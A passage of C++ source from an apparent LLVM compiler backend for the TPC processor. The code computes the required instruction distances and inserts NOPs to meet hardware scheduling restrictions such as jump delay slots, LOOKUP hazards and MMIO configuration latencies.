(auto DMI : DefInstrs) {\n unsigned DReg;\n unsigned DefIdx;\n\n for (unsigned i = 0, e = DMI->getNumOperands(); i != e; ++i) {\n const MachineOperand &MO = DMI->getOperand(i);\n if (!MO.isReg()) continue;\n if (!MO.isDef()) continue;\n DReg = MO.getReg();\n DefIdx = i;\n\n for (auto UMI : UseInstrs) {\n unsigned UReg;\n unsigned UseIdx;\n for (unsigned j = 0, e = UMI->getNumOperands(); j != e; ++j) {\n const MachineOperand &MOU = UMI->getOperand(j);\n if (!MOU.isReg()) continue;\n if (!MOU.isUse()) continue;\n UReg = MOU.getReg();\n UseIdx = j;\n if (UReg == DReg ||\n TRI->isSubRegister(DReg, UReg) ||\n TRI->isSubRegister(UReg, DReg)) {\n int lat = TII->getOperandLatency(ItinData, *DMI, DefIdx, *UMI, UseIdx);\n alatency = std::max(alatency, lat);\n }\n }\n }\n }\n }\n\n // Check for PRM restrictions\n //\n for (auto DMI : DefInstrs) {\n for (auto UMI : UseInstrs) {\n unsigned opcDef = TPCII::getSlotOpCode(DMI->getDesc());\n unsigned opcUse = TPCII::getSlotOpCode(UMI->getDesc());\n\n if (needLdTnsrWorkaround) {\n if (TPCII::isLoadInst(UMI->getDesc()) &&\n (opcUse == TPCII::LD_TNSR ||\n opcUse == TPCII::LD_TNSR_LOW ||\n opcUse == TPCII::LD_TNSR_HIGH)) {\n useHasLdTnsr = true;\n }\n if (TPCII::isStoreInst(DMI->getDesc()) &&\n (opcDef == TPCII::ST_TNSR ||\n opcDef == TPCII::ST_TNSR_LOW ||\n opcDef == TPCII::ST_TNSR_HIGH)) {\n defHasStTnsr = true;\n }\n }\n\n // One cycle After LOOKUP_C1C2, LOOKUP_C0 and LOOKUP, a VPU instruction\n // which uses SRC_D isn't allowed to scheduled.\n // TODO: check for SrcD here\n //\n if (TPCII::isVPUInst(UMI->getDesc()) && !isNopInstr(UMI)) {\n bool srcD = isUsingSrcD(UMI, ItinData);\n if (srcD && TPCII::isLookupC(DMI->getDesc())) {\n alatency = std::max(alatency, 2);\n }\n }\n\n // One cycles After LOOKUP_C0C2, LOOKUP_C1 and LOOKUP, the LOAD issue slot must\n // contain an NOP instruction.\n //\n if (TPCII::isLoadInst(UMI->getDesc()) && !isNopInstr(UMI)) {\n if (TPCII::isLookupC(DMI->getDesc())) {\n alatency = std::max(alatency, 2);\n }\n }\n\n // One cycle After LOOKUP_C1C2, LOOKUP_C0 and LOOKUP,\n // ST_L_V isn't allowed to be scheduled.\n //\n if (TPCII::isStoreInst(UMI->getDesc()) &&\n opcUse == TPCII::ST_L_V) {\n if (TPCII::isLookupC(DMI->getDesc())) {\n alatency = std::max(alatency, 2);\n }\n }\n\n // After LOOKUP_1C, LOOKUP_2C and LOOKUP,\n // the STORE issue slot must not contain a LD_TNSR* instruction.\n //\n if (TPCII::isStoreInst(UMI->getDesc()) &&\n (opcUse == TPCII::stLD_TNSR ||\n opcUse == TPCII::stLD_TNSR_LOW ||\n opcUse == TPCII::stLD_TNSR_HIGH)) {\n if (TPCII::isLookup(DMI->getDesc())) {\n alatency = std::max(alatency, 2);\n }\n }\n\n\n // At least 1 instruction should exist between CACHE_INVALIDATE and LOOKUP*.\n //\n if (TPCII::isStoreInst(UMI->getDesc()) &&\n opcUse == TPCII::CACHE_INVALIDATE) {\n if (TPCII::isLookupC(DMI->getDesc())) {\n alatency = std::max(alatency, 2);\n }\n }\n if (TPCII::isStoreInst(DMI->getDesc()) &&\n opcDef == TPCII::CACHE_INVALIDATE) {\n if (TPCII::isLookupC(UMI->getDesc())) {\n alatency = std::max(alatency, 2);\n }\n }\n\n // 1 Insturction after JMP*, a NOP must exists in all issue slots, besides VPU issue slot.\n //\n if (!TPCII::isVPUInst(UMI->getDesc()) && !isNopInstr(UMI)) {\n if (isJmpInstr(DMI)) {\n MachineBasicBlock * DestMBB = getJmpDest(DMI);\n const MachineBasicBlock * UseMBB = UMI->getParent();\n const MachineBasicBlock * DefMBB = DMI->getParent();\n if ((DestMBB->getNumber() == UseMBB->getNumber()) ||\n ((UseMBB->getNumber() != DefMBB->getNumber()+1) &&\n (UseMBB->getNumber() != DefMBB->getNumber()))) {\n // JMP taken\n alatency = std::max(alatency, 0);\n }\n else {\n // JMP not taken\n alatency = std::max(alatency, 2);\n }\n }\n }\n\n // 2 Instruction after JMP* or LOOP delay slot, a CONVERT* on SPU issue slot is not allowed to be issued.\n //\n if (TPCII::isSPUInst(UMI->getDesc()) &&\n (opcUse == 22 || /* TPCII::CONVERT */\n opcUse == 23 || /* TPCII::CONVERT_INT32 */\n opcUse == 24 || /* TPCII::CONVERT_UINT32 */\n opcUse == 28) /* TPCII::CONVERT_UINT16 */\n ) {\n if (isJmpInstr(DMI)) {\n alatency = std::max(alatency, 3);\n }\n }\n\n // 2 Instruction after JMP* or LOOP delay slot, a ASO with SPU_ASO_OP is not allowed to be issued.\n // TODO: check for SPU_ASO_OP\n //\n if (TPCII::isStoreInst(UMI->getDesc()) &&\n opcUse == TPCII::ASO\n ) {\n if (isJmpInstr(DMI)) {\n alatency = std::max(alatency, 3);\n }\n }\n\n // At least one instruction should separate a VLIW instruction which\n // contain LD_TNSR_LOW and a VLIW instruction which contain\n // LD_TNSR_HIGH, regardless which one is first\n //\n if (TPCII::isLoadInst(DMI->getDesc()) && TPCII::isLoadInst(UMI->getDesc()) &&\n ((opcDef == TPCII::LD_TNSR_LOW &&\n opcUse == TPCII::LD_TNSR_HIGH) ||\n ((opcDef == TPCII::LD_TNSR_HIGH &&\n opcUse == TPCII::LD_TNSR_LOW)))\n ) {\n alatency = std::max(alatency, 2);\n }\n\n // VLIW instruction which contains LD_TNSR_LOW cannot be followed with LD_TNSR\n //\n if (TPCII::isLoadInst(DMI->getDesc()) && TPCII::isLoadInst(UMI->getDesc()) &&\n (opcDef == TPCII::LD_TNSR_LOW && // LD_TNSR_LOW\n opcUse == TPCII::LD_TNSR) // LD_TNSR\n ) {\n alatency = std::max(alatency, 2);\n }\n\n // Gaudi (Gen2): The following cycle after MAC/MUL BF16/FP32, it is not allowed\n // to schedule an instruction which writes to the same destination\n // (or destinations) as the MAC/MUL\n //\n if (!MF->getSubtarget<TPCSubtarget>().hasGoyaISA()) {\n const MCInstrDesc &DefMCID = DMI->getDesc();\n const MCInstrDesc &UseMCID = UMI->getDesc();\n bool isDefRestrict = false;\n if ((TPCII::isVPUInst(DefMCID) && (opcDef == TPCII::vpuMAC || opcDef == TPCII::vpuMUL)) ||\n (TPCII::isSPUInst(DefMCID) && (opcDef == TPCII::spuMAC || opcDef == TPCII::spuMUL))) {\n isDefRestrict = isFloatData(getOpType(DefMI));\n }\n if (isDefRestrict &&\n ((TPCII::isVPUInst(UseMCID) && (opcUse == TPCII::vpuMAC || opcUse == TPCII::vpuMUL)) ||\n (TPCII::isSPUInst(UseMCID) && (opcUse == TPCII::spuMAC || opcUse == TPCII::spuMUL)) ||\n (TPCII::isVPUInst(UseMCID) && (opcUse == TPCII::vpuADD || opcUse == TPCII::vpuSUB)) ||\n (TPCII::isSPUInst(UseMCID) && (opcUse == TPCII::spuADD || opcUse == TPCII::spuSUB)) ||\n (TPCII::isVPUInst(UseMCID) && (opcUse == TPCII::vpuMADD))))\n {\n // Check if the \"use\" instr writes to the same destination as \"def\"\n const MachineOperand &DMO = DMI->getOperand(0);\n assert(DMO.isReg());\n unsigned Dreg = DMO.getReg();\n if (UMI->getNumOperands() > 0) {\n const MachineOperand &UMO = UMI->getOperand(0);\n if (UMO.isReg()) {\n unsigned Ureg = UMO.getReg();\n if (Ureg == Dreg) { // restriction\n alatency = std::max(alatency, 2);\n }\n }\n }\n }\n }\n\n // At least one instruction should separate a VLIW instruction which contain\n // LD_TNSR_LOW and a VLIW instruction which contain LD_TNSR_HIGH, regardless\n // which one is 1st\n //\n {\n bool DefIsLow = false;\n bool DefIsHigh = false;\n bool UseIsLow = false;\n bool UseIsHigh = false;\n if (TPCII::isLoadInst(DMI->getDesc())) {\n DefIsLow = (opcDef == TPCII::LD_TNSR_LOW);\n DefIsHigh = (opcDef == TPCII::LD_TNSR_HIGH);\n }\n else if (TPCII::isStoreInst(DMI->getDesc())) {\n DefIsLow = (opcDef == TPCII::stLD_TNSR_LOW);\n DefIsHigh = (opcDef == TPCII::stLD_TNSR_HIGH);\n }\n if (TPCII::isLoadInst(UMI->getDesc())) {\n UseIsLow = (opcUse == TPCII::LD_TNSR_LOW);\n UseIsHigh = (opcUse == TPCII::LD_TNSR_HIGH);\n }\n else if (TPCII::isStoreInst(UMI->getDesc())) {\n UseIsLow = (opcUse == TPCII::stLD_TNSR_LOW);\n UseIsHigh = (opcUse == TPCII::stLD_TNSR_HIGH);\n }\n if ((DefIsLow && UseIsHigh) || (DefIsHigh && UseIsLow)) {\n alatency = std::max(alatency, 2);\n }\n }\n\n // 4 Instructions before LOOP instruction, ST_L_V/LD_L_V/LD.MOV (VRF/VPFR)/VPU*\n // cannot use LOOP iterator as Source.\n //\n // On the 6 Last instructions of a LOOP, ST_L_V/LD_L_V/LD.MOV (VRF/VPRF)/VPU*\n // cannot use LOOP Iterator as Source\n //\n if (TPCII::isLoopInst(UMI->getDesc())) {\n if ((TPCII::isStoreInst(DMI->getDesc()) && opcDef == TPCII::ST_L_V) ||\n (TPCII::isLoadInst(DMI->getDesc()) && opcDef == TPCII::LD_L) ||\n (TPCII::isLoadInst(DMI->getDesc()) && opcDef == TPCII::ldMOV) ||\n (TPCII::isVPUInst(DMI->getDesc()) && !isNopInstr(DMI))\n ) {\n bool use_loop_iterator = HasLoopIter(*DMI);\n if (use_loop_iterator) {\n if (UMI->getOpcode() != TPC::LOOPEND) { // LOOP\n alatency = std::max(alatency, 6);\n }\n else { // LOOPEND\n alatency = std::max(alatency, 8);\n }\n }\n }\n\n // Loop iterator can’t be used as source in the 4 instructions before a\n // LOOP on VPU SLOT\n if (!isNopInstr(DMI) &&\n TPCII::isVPUInst(DMI->getDesc())) {\n if (HasLoopIter(*DMI))\n alatency = std::max(alatency, 5);\n }\n\n // Loop iterator can’t be used as source in the last 6 instructions\n // inside a LOOP on VPU SLOT\n if (UMI->getOpcode() == TPC::LOOPEND &&\n !isNopInstr(DMI) &&\n TPCII::isVPUInst(DMI->getDesc())) {\n if (HasLoopIter(*DMI))\n // With LOOPEND pseudo instruction\n alatency = std::max(alatency, 8);\n }\n }\n\n const TPCSubtarget &Subtarget = MF->getSubtarget<TPCSubtarget>();\n\n // At least 6 instructions must separate between 2 consecutive\n // UDIV_4STEP instructions.\n if (Subtarget.hasGaudiISA())\n if (TPCII::isSPUInst(DMI->getDesc()) &&\n opcDef == TPCII::spuUDIV_4STEP &&\n TPCII::isSPUInst(UMI->getDesc()) &&\n opcUse == TPCII::spuUDIV_4STEP) {\n alatency = std::max(alatency, 7);\n }\n\n // MMIO configuration restrictions:\n // * CSR_MODE configuration has a latency of 3 cycles (i.e. 2\n // instructions must separate the configuration of CSR_MODE and a\n // consumer of CSR_MODE).\n // * A few MMIO configurations done by ST_L have latency of 2 cycles:\n // KERNEL_TENSOR_*_DIM_*_STRIDE, CFG_BASE_ADDRESS_HIGH,\n // CFG_SUBTRACT_VALUE, KERNEL.KERNEL_CONFIG.ASO_EVICT_L0 (i.e. 1\n // instruction must separate such a configuration and the consumer\n // of this configuration).\n // * The rest of MMIO configurations done by ST_L have latency of 1 cycle\n // (i.e. can be consumed by the following instruction).\n //\n // From letter\n // CSR_MODE includes both ROUND_CSR and CONV_ROUND_CSR ports?\n // Yes. It includes also CONV_ROUND_CSR. I will write it explicitly in\n // PRM.\n //\n // What are exact consumers of CSR_MODE - CONVERT, NEARBYINT?\n // The consumers of ROUND_CSR are all the Floating-Point arithmetic\n // instructions: MAC, MUL, ADD, SUB, MADD. The consumers of\n // CONV_ROUND_CSR are all the CONVERT* and NEARBYINT instructions\n // which use DEFAULT rounding mode.\n //\n // What instructions are consumers of other specific configurations?\n // * The consumers of all tensor descriptor configurations\n // (KERNEL_TENSOR_*) are GEN_ADDR, LD_TNSR* and ST_TNSR*.\n // * The consumer of CFG_SUBTRACT_VALUE is LD_L/ST_L with MMIO.\n // * The consumers of LFSR_POLYNOM are MOV which reads from V40 and\n // CONVERT* with SR rounding mode on VPU.\n // * The consumers of SPE_LFSR_POLYNOM are MOV which reads from S40 and\n // CONVERT* with SR rounding mode on SPU.\n // * The consumer of KERNEL.KERNEL_CONFIG.ASO_EVICT_L0 is ASO.\n // * The consumers of KERNEL.KERNEL_CONFIG.IRF_32BIT_COMPATIBILITY are\n // all the instructions that use IRFs, as well as GEN_ADDR, LD_TNSR*\n // and ST_TNSR*.\n\n // TODO: think how to move it to general code for TPCSubtarget.cpp.\n if (Subtarget.hasGen2Plus() &&\n TPCII::isStoreInst(DMI->getDesc()) &&\n TPCII::getSlotOpCode(DMI->getDesc()) == TPCII::ST_L &&\n DMI->getOperand(\n DMI->getNumOperands() - 3).getImm() & TPCII::SW_MMIO) {\n unsigned Opcode = TPCII::getSlotOpCode(UMI->getDesc());\n unsigned NumOperands = UMI->getNumOperands();\n const MCInstrDesc &Desc = UMI->getDesc();\n\n if ((TPCII::isSPUInst(Desc) &&\n (Opcode == TPCII::spuADD ||\n Opcode == TPCII::spuMAC ||\n Opcode == TPCII::spuMUL ||\n Opcode == TPCII::spuSUB)) ||\n (TPCII::isVPUInst(Desc) &&\n (Opcode == TPCII::vpuADD ||\n Opcode == TPCII::vpuMAC ||\n Opcode == TPCII::vpuMADD ||\n Opcode == TPCII::vpuMUL ||\n Opcode == TPCII::vpuSUB))) {\n TPCII::OpType Type = getOpType(*UMI);\n switch (Type) {\n case TPCII::OpType::FP32:\n case TPCII::OpType::BF16:\n alatency = std::max(alatency, 3);\n break;\n default:\n break;\n }\n }\n else if ((TPCII::isSPUInst(UMI->getDesc()) &&\n (Opcode == TPCII::spuCONVERT ||\n Opcode == TPCII::spuCONVERT_INT8 ||\n Opcode == TPCII::spuCONVERT_INT16 ||\n Opcode == TPCII::spuCONVERT_INT32 ||\n Opcode == TPCII::spuCONVERT_INT64 ||\n Opcode == TPCII::spuCONVERT_UINT8 ||\n Opcode == TPCII::spuCONVERT_UINT16 ||\n Opcode == TPCII::spuCONVERT_UINT32)) ||\n (TPCII::isVPUInst(UMI->getDesc()) &&\n (Opcode == TPCII::vpuCONVERT ||\n Opcode == TPCII::vpuCONVERT_INT8 ||\n Opcode == TPCII::vpuCONVERT_INT16 ||\n Opcode == TPCII::vpuCONVERT_INT32 ||\n Opcode == TPCII::vpuCONVERT_UINT8 ||\n Opcode == TPCII::vpuCONVERT_UINT16 ||\n Opcode == TPCII::vpuCONVERT_UINT32))) {\n unsigned RoundMode =\n UMI->getOperand(NumOperands - 4).getImm() & TPCII::SW_GROUP_RM;\n if (RoundMode == TPCII::SW_CSR)\n alatency = std::max(alatency, 3);\n else if (RoundMode == TPCII::SW_SR)\n alatency = std::max(alatency, 2);\n }\n else if ((TPCII::isSPUInst(UMI->getDesc()) &&\n Opcode == TPCII::spuNEARBYINT) ||\n (TPCII::isVPUInst(UMI->getDesc()) &&\n Opcode == TPCII::vpuNEARBYINT)) {\n unsigned RoundMode =\n UMI->getOperand(NumOperands - 4).getImm() & TPCII::SW_GROUP_RM;\n if (RoundMode == TPCII::SW_CSR)\n alatency = std::max(alatency, 3);\n }\n else if ((TPCII::isLoadInst(Desc) &&\n (Opcode == TPCII::ldGEN_ADDR ||\n Opcode == TPCII::LD_TNSR ||\n Opcode == TPCII::LD_TNSR_HIGH ||\n Opcode == TPCII::LD_TNSR_LOW)) ||\n (TPCII::isStoreInst(Desc) &&\n (Opcode == TPCII::stGEN_ADDR ||\n Opcode == TPCII::stLD_TNSR ||\n Opcode == TPCII::stLD_TNSR_HIGH ||\n Opcode == TPCII::stLD_TNSR_LOW ||\n Opcode == TPCII::ST_TNSR ||\n Opcode == TPCII::ST_TNSR_HIGH ||\n Opcode == TPCII::ST_TNSR_LOW))) {\n alatency = std::max(alatency, 2);\n }\n else if ((TPCII::isLoadInst(Desc) && Opcode == TPCII::LD_L)) {\n bool isMMIO =\n UMI->getOperand(NumOperands - 4).getImm() & TPCII::SW_MMIO;\n if (isMMIO)\n alatency = std::max(alatency, 2);\n }\n else if (TPCII::isStoreInst(Desc) && Opcode == TPCII::ST_L) {\n bool isMMIO =\n UMI->getOperand(NumOperands - 3).getImm() & TPCII::SW_MMIO;\n if (isMMIO)\n alatency = std::max(alatency, 2);\n }\n else if ((TPCII::isSPUInst(Desc) &&\n (UMI->getOpcode() == TPC::ReadSLFSR ||\n UMI->getOpcode() == TPC::ReadSLFSRNC)) ||\n (TPCII::isVPUInst(Desc) &&\n (UMI->getOpcode() == TPC::ReadLFSR ||\n UMI->getOpcode() == TPC::ReadLFSRNC))) {\n alatency = std::max(alatency, 2);\n }\n else if (TPCII::isStoreInst(Desc) && Opcode == TPCII::ASO) {\n alatency = std::max(alatency, 2);\n }\n }\n }\n }\n\n if (DefMI.getOpcode() == TPC::LOOPEND && UseMI.getOpcode() == TPC::LOOPEND) {\n alatency = isLoopTaken(&DefMI) ? 2 : 4;\n }\n\n // The LOOKUP* instruction cannot be the last instruction in a loop block.\n if (HasLookup(DefMI) && UseMI.getOpcode() == TPC::LOOPEND) {\n alatency = std::max(alatency, 2);\n }\n \n // JMPR/A inside loop must be at least 6 instructions before the Loop Label\n //\n if (isJmpInstr(&DefMI) && UseMI.getOpcode() == TPC::LOOPEND) {\n alatency = 7;\n }\n\n if (needLdTnsrWorkaround && defHasStTnsr && useHasLdTnsr) {\n if (alatency == 4 || curDistance == 4) {\n alatency = 5;\n //dbgs() << \"Def: \"; printMI((MachineInstr*)&DefMI);\n //dbgs() << \"Use: \"; printMI((MachineInstr*)&UseMI);\n //dbgs() << \"-------\\n\";\n }\n }\n\n return alatency;\n}\n\n//\n// resolveBlockLatency ()\n// Checks distance requirements between instructions in one basic block.\n// Inserts NOPs between instructions if distance requirements are not met.\n//\nbool TPCLatencyResolver::resolveBlockLatency(MachineBasicBlock& MBB, bool check_only, bool ignore_loop_instr) {\n MachineBasicBlock::iterator BegBB = MBB.begin();\n MachineBasicBlock::iterator EndBB = MBB.end();\n int Cycle = 0;\n int numPreNops;\n bool changed = false;\n\n if (check_only) {\n LLVM_DEBUG(dbgs() << \"Check latencies in BB#\" << MBB.getNumber() << \"\\n\");\n }\n else {\n LLVM_DEBUG(dbgs() << \"Resolve latencies in BB#\" << MBB.getNumber() << \"\\n\");\n }\n\n for (MachineBasicBlock::iterator I = BegBB, E = EndBB; I != E; Cycle++) {\n MachineInstr &MI = *I;\n ++I;\n if (ignoreInstr(&MI)) {\n Cycle--;\n continue;\n }\n MachineBasicBlock::iterator MIIt = MI;\n if (MIIt != BegBB) {\n MIIt--;\n int defCycle = Cycle - 1;\n if (ignore_loop_instr && TPCII::isLoopInst(MI.getDesc()) && (MI.getOpcode() != TPC::LOOPEND)) {\n Cycle--;\n }\n\n int defCycleSaved = defCycle;\n do {\n numPreNops = 0;\n for (MachineBasicBlock::iterator J = MIIt; defCycle >= 0; defCycle--) {\n MachineInstr &defMI = *J;\n --J;\n if (ignoreInstr(&defMI)) {\n defCycle++;\n continue;\n }\n int lat = getRequiredDistance(defMI, MI, Cycle - defCycle);\n if (lat > (Cycle - defCycle)) {\n int numNops = lat - (Cycle - defCycle);\n LLVM_DEBUG(dbgs() << \" NOP(\" << numNops << \") needed before MI(\" << Cycle << \")\\n\"; printMI(&MI));\n LLVM_DEBUG(dbgs() << \" latency(\" << lat << \") with MI(\" << defCycle << \")\\n\"; printMI(&defMI));\n numPreNops = std::max(numPreNops, numNops);\n }\n }\n if (numPreNops) {\n if (!check_only) {\n LLVM_DEBUG(dbgs() << \" NOP(\" << numPreNops << \") inserted before MI(\" << Cycle << \")\\n\"; printMI(&MI));\n for (int j = 0; j < numPreNops; ++j) {\n \tTII->insertNoop(MBB, MachineBasicBlock::iterator(MI));\n \tCycle++;\n }\n } else {\n Cycle++;\n }\n changed = true;\n\n // Go back and check if nops are still needed for the current instruction.\n // This may happen if some instructions require the distance not equal to\n // an exact number of cycles (for example, see EnableLdTnsrGaudiWorkaround)\n defCycle = defCycleSaved;\n }\n } while (numPreNops > 0);\n }\n\n if (isHaltInstr(&MI)) {\n //\n // PRM_0.999; 1.3.3: At least two instruction must exist between\n // a JMP* instruction and a HALT instruction.\n // We do not look for a JMP here - we just insert 2 NOPs before the HALT\n //\n if (Cycle < 2) {\n TII->insertNoop(MBB, MachineBasicBlock::iterator(MI));\n TII->insertNoop(MBB, MachineBasicBlock::iterator(MI));\n LLVM_DEBUG(dbgs() << \" NOP(\" << 2 << \") inserted before HALT\\n\");\n }\n\n //\n // PRM 0.9992: After HALT, 3 VLIW instructions which are NOPs should appear\n //\n TII->insertNoop(MBB, MBB.end());\n TII->insertNoop(MBB, MBB.end());\n TII->insertNoop(MBB, MBB.end());\n LLVM_DEBUG(dbgs() << \" NOP(\" << 3 << \") inserted after HALT\\n\");\n }\n\n // Special case when there're no real instructions in the Latch with two or more\n // predecessors\n if (MI.getOpcode() == TPC::LOOPEND) {\n if (Cycle == 0 && MBB.pred_size() > 1) {\n TII->insertNoop(MBB, MBB.front());\n LLVM_DEBUG(dbgs() << \" NOP(\" << 1 << \") inserted before LOOPEND in empty block\\n\");\n }\n }\n }\n\n return changed;\n}\n\n// The following sequence is not allowed:\n// st_l_v <addX>\n// st_l_v <addY>\n// nop (optional)\n// ld_l_v <addX>\n// ld_l_v <addY>\n// LOOKUP\nstatic bool IsUnluckyLookup(MachineInstr& Instr) {\n const unsigned STATE_ST_L_V_2 = 5;\n const unsigned STATE_ST_L_V_1 = 4;\n const unsigned STATE_NOP = 3;\n const unsigned STATE_LD_L_V_2 = 2;\n const unsigned STATE_LD_L_V_1 = 1;\n const unsigned STATE_START = 0;\n\n assert(HasLookup(Instr) && \"Must call only for Lookup instruction\");\n\n MachineBasicBlock::reverse_iterator CurrentMII(Instr); ++CurrentMII;\n MachineBasicBlock *CurrentBB = Instr.getParent();\n unsigned State = STATE_START;\n\n for (;;) {\n if (CurrentMII == CurrentBB->rend()) {\n bool HasPrevious = false;\n for (MachineBasicBlock *Pred : CurrentBB->predecessors()) {\n if (Pred && Pred->isLayoutSuccessor(CurrentBB)) {\n CurrentBB = Pred;\n CurrentMII = Pred->rbegin();\n HasPrevious = true;\n break;\n }\n }\n\n if (!HasPrevious)\n break;\n\n if (CurrentBB->empty())\n break;\n }\n\n MachineInstr &CurrentMI = *CurrentMII;\n if (!CurrentMI.isBundle() && !isNopInstr(&CurrentMI))\n break;\n\n bool HasST_L_V = false;\n bool HasLD_L_V = false;\n MachineBasicBlock::const_instr_iterator BMII = CurrentMI.getIterator();\n for (++BMII;\n BMII != CurrentBB->instr_end() && BMII->isInsideBundle();\n ++BMII) {\n const MachineInstr &BMI = *BMII;\n const MCInstrDesc &BMID = BMI.getDesc();\n const unsigned SlotOpcode = TPCII::getSlotOpCode(BMID);\n\n if (TPCII::isStoreInst(BMID) &&\n (SlotOpcode == TPCII::ST_L_V ||\n SlotOpcode == TPCII::ST_L_V_HIGH ||\n SlotOpcode == TPCII::ST_L_V_LOW))\n HasST_L_V = true;\n else if (TPCII::isLoadInst(BMID) &&\n (SlotOpcode == TPCII::LD_L_V ||\n SlotOpcode == TPCII::LD_L_V_HIGH ||\n SlotOpcode == TPCII::LD_L_V_LOW))\n HasLD_L_V = true;\n }\n\n if (State == STATE_START && HasLD_L_V)\n State = STATE_LD_L_V_1;\n else if (State == STATE_LD_L_V_1 && HasLD_L_V)\n State = STATE_LD_L_V_2;\n else if (State == STATE_LD_L_V_2 && isNopInstr(&CurrentMI))\n State = STATE_NOP;\n else if ((State == STATE_NOP || State == STATE_LD_L_V_2) &&\n HasST_L_V)\n State = STATE_ST_L_V_1;\n else if (State == STATE_ST_L_V_1 && HasST_L_V) {\n State = STATE_ST_L_V_2;\n break;\n } else {\n State = STATE_START;\n break;\n }\n\n ++CurrentMII;\n }\n\n return State == STATE_ST_L_V_2;\n}\n\n\nbool TPCLatencyResolver::resolveFunctionLatency(MachineFunction &MF) {\n\n bool IsChanged = false;\n\n return IsChanged;\n\n for (MachineBasicBlock &MBB : MF) {\n for(MachineBasicBlock::reverse_iterator MII = MBB.rbegin();\n MII != MBB.rend();\n ++MII) {\n MachineInstr &MI = *MII;\n\n if (HasLookup(MI) && IsUnluckyLookup(MI)) {\n TII->insertNoop(MBB, MachineBasicBlock::iterator(MI));\n IsChanged = true;\n }\n }\n }\n\n return IsChanged;\n}\n\n//\n// getRequiredBBDistance ()\n// Returns the distance (in cycles) required between the end of one BB and the start of\n// other BB.\n//\nint TPCLatencyResolver::getRequiredBBDistance(MachineBasicBlock* PBB,\n MachineBasicBlock* SBB,\n bool ignore_loop_instr)\n{\n int DefCycle;\n int UseCycle;\n int dist = 0;\n\n UseCycle = 0;\n for (MachineBasicBlock::iterator I = SBB->begin(), E = SBB->end(); I != E;) {\n MachineInstr &UseMI = *I;\n ++I;\n if (ignoreInstr(&UseMI)) {\n continue;\n }\n UseCycle++;\n\n if (ignore_loop_instr && TPCII::isLoopInst(UseMI.getDesc()) && (UseMI.getOpcode() != TPC::LOOPEND)) {\n UseCycle--;\n }\n if (UseCycle > TPC_MAX_LATENCY) {\n // Reached max latency, no need to process more instructions.\n break;\n }\n\n DefCycle = 0;\n for (MachineBasicBlock::iterator J = PBB->end(), PE = PBB->begin(); J != PE;) {\n --J;\n MachineInstr &DefMI = *J;\n if (ignoreInstr(&DefMI)) {\n continue;\n }\n if (DefMI.getOpcode() != TPC::LOOPEND) {\n DefCycle++;\n }\n\n if (isJmpInstr(&DefMI)) {\n MachineBasicBlock * DestMBB = getJmpDest(&DefMI);\n if (DestMBB && DestMBB->getNumber() == SBB->getNumber()) {\n DefCycle = 0;\n }\n }\n\n if (ignore_loop_instr && TPCII::isLoopInst(DefMI.getDesc()) && (DefMI.getOpcode() != TPC::LOOPEND)) {\n DefCycle--;\n }\n if ((UseCycle + DefCycle) > TPC_MAX_LATENCY) {\n // Reached max latency, no need to process more instructions.\n break;\n }\n int lat;\n if (DefMI.getOpcode() == TPC::LOOPEND && UseMI.getOpcode() != TPC::LOOPEND) {\n // do not consider LOOPEND pseudo instruction as it is really a noop.\n lat = 0;\n }\n else {\n lat = getRequiredDistance(DefMI, UseMI, UseCycle + DefCycle - 1);\n }\n\n if (lat > (UseCycle + DefCycle - 1)) {\n int numNops = lat - (UseCycle + DefCycle - 1);\n LLVM_DEBUG(dbgs() << \" Cycles(\" << numNops << \") needed before MI(BB#\"\n << SBB->getNumber() << \":\" << UseCycle << \")\\n\"; printMI(&UseMI));\n LLVM_DEBUG(dbgs() << \" latency(\" << lat << \") with MI(BB#\"\n << PBB->getNumber() << \":\" << DefCycle << \")\\n\"; printMI(&DefMI));\n dist = std::max(dist, numNops);\n }\n }\n }\n LLVM_DEBUG(dbgs() << \" Distance(\" << dist << \") needed between BB#\"\n << PBB->getNumber() << \" and BB#\" << SBB->getNumber() << \"\\n\");\n return dist;\n}\n\n//\n// getBBCycles ()\n// Returns the number of VLIW instructions in MBB.\n//\nint TPCLatencyResolver::getBBCycles(MachineBasicBlock* MBB, MachineBasicBlock* Succ, bool ignore_loop_instr)\n{\n int Cycle = 0;\n for (MachineBasicBlock::iterator J = MBB->end(), PE = MBB->begin(); J != PE;) {\n --J;\n MachineInstr &DefMI = *J;\n if (ignoreInstr(&DefMI)) {\n continue;\n }\n if (DefMI.getOpcode() != TPC::LOOPEND) {\n Cycle++;\n }\n if (ignore_loop_instr && TPCII::isLoopInst(DefMI.getDesc()) && (DefMI.getOpcode() != TPC::LOOPEND)) {\n Cycle--;\n }\n if (Succ && isJmpInstr(&DefMI)) {\n //\n // Consider the following dependency on V18:\n //\n // .BB0_10:\n // \tMOV\t%V32, %V18\n // \t...\n // \tMOV_DUAL_GROUP.F %V18, %V18, ...\n // .BB0_11:\n // \tcmp_less.i32 %SP1, %S8, %S10, %SP0\n // \tnop\n // \tjmpr .LBB0_10, %SP1\n // \tnop\n // \tjmpr .LBB0_7\n // .BB0_12:\n // \t...\n // getBBCycles (.BB0_11) will return 5 cycles, but as predecessor of .BB0_10 it has only 3 cycles\n // due to jmpr .LBB0_10, %SP1.\n // Ideally, the block .BB0_11 should be split into two blocks, like this:\n // \t...\n // .BB0_11:\n // \tcmp_less.i32 %SP1, %S8, %S10, %SP0\n // \tnop\n // \tjmpr .LBB0_10, %SP1\n // .BB0_11_1:\n // \tnop\n // \tjmpr .LBB0_7\n // .BB0_12:\n //\n MachineBasicBlock * DestMBB = getJmpDest(&DefMI);\n if (DestMBB && DestMBB->getNumber() == Succ->getNumber()) {\n break;\n }\n }\n if (Cycle > TPC_MAX_LATENCY) {\n // Reached max latency, no need to process more instructions.\n break;\n }\n }\n return Cycle;\n}\n\nbool TPCLatencyResolver::resolveCrossBlockLatency(MachineBasicBlock& MBB,\n MachineBasicBlock* PredMBB,\n bool topdown,\n bool deep,\n int distance,\n bool check_only,\n bool ignore_loop_instr,\n std::vector<const MachineBasicBlock*> ProcessedBB)\n{\n int lat = 0;\n int NumCycles = 0;\n int NumPreNops = 0;\n bool changed = false;\n MachineBasicBlock::pred_iterator BEG;\n MachineBasicBlock::pred_iterator END;\n \n if (topdown) {\n LLVM_DEBUG(dbgs() << \"Checking Successors of BB#\" << PredMBB->getNumber() << \"\\n\");\n BEG = PredMBB->succ_begin();\n END = PredMBB->succ_end();\n }\n else {\n LLVM_DEBUG(dbgs() << \"Checking predecessors of BB#\" << PredMBB->getNumber() << \"\\n\");\n BEG = PredMBB->pred_begin();\n END = PredMBB->pred_end();\n }\n LLVM_DEBUG(dbgs() << \" (dist = \" << distance << \")\\n\");\n 